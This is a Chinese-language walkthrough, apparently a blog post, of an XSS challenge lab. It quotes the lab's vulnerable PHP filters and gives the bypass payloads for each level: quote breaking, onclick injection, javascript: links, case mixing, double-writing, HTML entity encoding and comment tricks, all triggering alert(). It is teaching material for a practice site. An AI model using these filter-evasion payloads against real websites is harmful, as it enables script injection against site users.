2-Web安全——浅谈XSS漏洞绕过之XSS挑战通关

目录

1. 绕过input标签

2. input框onclick事件绕过

3. 白名单绕过

4. href属性绕过

5. 双写法绕过

6. html实体编码

7. 注释符号绕过


 

上一篇通过一个小案例了解了XSS漏洞的基本原理,危害程度以及漏洞产生的原因,本篇将通过一个示例来了解XSS漏洞的利用思路和绕过方法。

 

1. 绕过input标签

直接在搜索框中插入js代码,后台完全把我们输入的代码用引号括起来当做字符串处理了,在绕过过程中需要把引号闭合掉,插入js代码绕过input框,最终构造的代码如下:

"><script>alert("xss test")</script>"

前面的双引号和尖括号是为了把之前的">符号闭合掉,从而使插入的js代码绕过input框。

 

测试结果:

js代码最终成功绕过input框

 

 

2. input框onclick事件绕过

后台对输入的<script>alert("xss+test")<script> 这样的js代码进行了替换过滤:

 

 

分析Less-3部分关键代码:

</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>       

str变量存储的就是输入的XSS代码,但tmlspecialchars函数将XSS代码中的特殊符号(<,",>)给过滤了。这里有一个坑要注意:其实input框中的value是单引号进行闭合的。

 

 

那么可以利用input框的onclick点击事件来进行绕过,同时对单引号进行闭合,构造XSS代码如下:

' onclick=alert(123) '

由于后台把<script>标签中的符号过滤掉了,我们可以利用input框的onclick点击事件加上单引号绕过后台的过滤。

 

在level4的搜索框中输入JS代码<script>alert("xss test")<script>,后台把“<>”符号给过滤了,后台过滤后的源代码如下:

<input name=keyword  value="scriptalert("xss test")script">

 

还是使用之前的input框的onclick点击事件来绕过,把单引号替换成双引号:

"onclick="alert()" "

 

3. 白名单绕过

 

在level5中,无论是插入<script>alert("xss test")<script> 或者"οnclick="alert()" "这样的JS代码,后台都会在JS标签和函数中给替换掉:

<input name=keyword  value="<scr_ipt>alert("xss test")<scr_ipt>">

<input name=keyword  value="" o_nclick="alert()">

会将插入的JS代码中的<script>标签用下划线替换掉,onclick函数也会用下划线替换。

 

可以使用<a>标签的href属性来绕过后台的过滤,插入JS代码:"> <a href="javascript:alert()">a</a>

<input name=keyword  value=""> <a href="javascript:alert()">a</a>">

当插入这段JS代码后,我们就可以通过鼠标点击来触发执行alert弹窗。

 

 

4. href属性绕过

 

在level6中插入JS代码"> <a href="javascript:alert()">a</a>,后台把a标签的href属性用下划线也过滤掉了。

<input name=keyword  value=""> <a hr_ef="javascript:alert()">a</a>">

分析level6代码:

</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">

后台源代码中定义了一堆过滤的规则,由于PHP对于大小写不敏感,我们可以把href标签使用大小写的方式进行绕过。

 

现在改变一下思路,用大小写的方法改写href属性:

<input name=keyword  value=""> <a Href="javascript:alert()">a</a>">

 

5. 双写法绕过

在level7中的地址搜索栏插入JS代码:"> <a href="javascript:alert()">a</a>,后台把代码进行了替换:

<input name=keyword  value=""> <a ="java:alert()">a</a>">

 

分析level7部分关键代码:

<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />

level7中过滤还是用的str_replace函数,在构造payload的时候只需要对script和href标签使用双写法绕过即可。

 

构造XSS代码如下:

"> <a hrhrefef="javascrscriptipt:alert()">a</a>

 

 

6. html实体编码

 

对于之前的绕过方法,在level8中都无法使用成功了:

后台对于之前所有的绕过方法都无法使用了,现在我们需要换一种思路,使用html编码的方式,也就是在JS代码中加入html编码,例如对于javascript关键字,我们可以把字母c替换成html编码&#67; 最终构造的payload是这样的:

javas&#67;ript:alert()

 

 

注意:是把JS代码插入input框中(如果放在URL地址栏中,系统会对html编码做特殊处理,导致插入的JS代码无法执行),但是后台在处理代码实际上是这样的:

</center><center><BR><a href="javas&#67;ript:alert()">友情链接</a></center><center><img src=level8.jpg></center>

 

点击添加友情链接后,然后点击友情链接就会看到alert弹窗:

 

 

7. 注释符号绕过

 

直接插入JS代码javascript alert();的话,后台页面将会对代码进行过滤:

</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

如果我们在JS代码后面跟上url链接的话,后台虽然不会过滤,但是这并不符合JS语法,并且对于javascript用下划线进行了过滤:

 

 

我们可以通过JS语法中的注释符号和html实体编码方式把后面的url链接都给注释掉:

</center><center><BR><a href="javas&#67;ript:alert();//http://www.baidu.com">友情链接</a></center><center><img src=level9.png></center>

后台执行结果:

成功绕过后台的过滤。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值